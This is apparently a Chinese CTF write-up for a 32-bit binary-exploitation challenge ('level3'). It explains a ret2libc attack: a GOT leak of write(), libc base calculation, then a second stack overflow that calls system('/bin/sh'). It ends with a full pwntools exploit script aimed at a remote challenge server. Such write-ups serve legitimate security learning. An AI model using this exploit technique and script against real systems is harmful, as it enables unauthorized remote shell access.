题目描述
libc!libc!这次没有system,你能帮菜鸡解决这个难题么?
Solution
先分析文件信息:

这是一个 ELF32 文件,没有开启金丝雀,栈不可执行,不是位置无关程序。运行程序,输入一串字符后打印Hello, World!后退出。把它放入 IDA 分析,程序主流程为main() → vulnerable_fuinction():

在vulnerable_function()中,先向标准输出打印Input字符串,然后向栈上的缓冲区读取 256 个字符,这里会存在缓冲区溢出的风险:

本题中没有出现system()函数和"/bin/sh"字符串,但我们可以从题目提供的 libc 文件找到。
- 第一步,我们使用栈溢出将
write()函数在 GOT 表中的真实地址暴露出来,然后减去 libc 中的 offset,就可以得到 libc 的 base address;这一步中我们把返回地址改成main()函数; - 第二步,重新进入
main()函数,再次栈溢出,利用system()函数夺 Shell。
对于"/bin/sh"字符串,可以通过strings -a -t x命令找出它在 libc 中的 Offset:

上述两步中,栈的分布情况如下:
| First Step | Second Step |
|---|---|
'A' *136 |
'A' *136 |
| EBP | EBP |
write@plt |
sys_addr |
main_addr |
0xdeadbeef |
1 |
bin_sh_addr |
write@got |
XXXX |
0xdeadbeef |
XXXX |
这其中还涉及到几个地址的计算,各地址计算方式如下:
| Address | Calculate |
|---|---|
| libc_addr | write_got_addr - libc.symbols['write'] |
| sys_addr | libc_addr + libc.symbols['system'] |
| bin_sh_addr | libc_addr + 0x15902b |
Python 漏洞利用脚本如下:
from pwn import *#conn = process('./level3')conn = remote('111.200.241.244', 51091)elf = ELF('./level3')libc = ELF('./libc_32.so.6')# get function addresswrite_plt = elf.plt['write']write_got = elf.got['write']main_addr = elf.symbols['main']payload = b'A' * (136+4) + p32(write_plt) + \p32(main_addr) + p32(1) + p32(write_got) + p32(0xdeadbeef)conn.sendlineafter('Input:\n', payload)# leak address of `write()` in GOTwrite_got_addr = u32(conn.recv()[:4])# leak address of libclibc_addr = write_got_addr - libc.symbols['write']# get address of `system()`sys_addr = libc_addr + libc.symbols['system']# get address of '/bin/sh'bin_sh_addr = libc_addr + 0x15902b# go second steppayload2 = b'A' * (136+4) + p32(sys_addr) + \p32(0xdeadbeef) + p32(bin_sh_addr)conn.sendline(payload2)conn.interactive()
运行结果如下:

